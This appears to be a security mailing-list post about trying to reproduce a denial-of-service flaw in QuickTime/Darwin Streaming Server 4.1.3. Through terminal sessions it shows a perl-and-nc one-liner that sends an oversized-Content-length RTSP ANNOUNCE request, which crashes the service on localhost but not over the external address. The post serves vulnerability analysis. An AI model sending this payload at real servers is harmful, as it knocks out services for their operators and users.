Greetings.

    I'm having trouble reproducing this vulnerability as well.  See below:


[jdog () wonderland jdog]$ cat /etc/redhat-release
jdog's Super Tricked-out Red Hat Linux release 8.0 (Psyche)
[jdog () wonderland jdog]$ echo -ne "OPTIONS * RTSP/1.0\nCseq: 1\n\n" | nc
localhost 554
RTSP/1.0 200 OK
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq: 1
Public: DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, ANNOUNCE, SET_PARAMETER, RECORD


    It takes a few tries against *localhost* to notice the adverse effects:


[jdog () wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) open
[jdog () wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) open
[jdog () wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) open
[jdog () wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) open
[jdog () wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) : Connection refused


    However, the port always remains open when I use the external IP address,
no matter how many times I run the example exploit:


[jdog () wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v 192.168.x.x 554
192.168.x.x: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.x.x] 554 (rtsp) open
RTSP/1.0 401 Unauthorized
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq:
WWW-Authenticate: Digest realm="Streaming Server", nonce="a4a1975c2b5c8e3fa
557e1f3d486e5a1"

RTSP/1.0 400 Bad Request
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq:
Connection: Close

 punt!
[jdog () wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v 192.168.x.x 554

[jdog () wonderland jdog]$


    So, given the exploit code given in the original advisory for this issue,
it appears as though Quicktime Streaming Server is only vulnerable from
localhost.
    Perhaps this was the trouble Apple was having?  Or am I missing something
also?
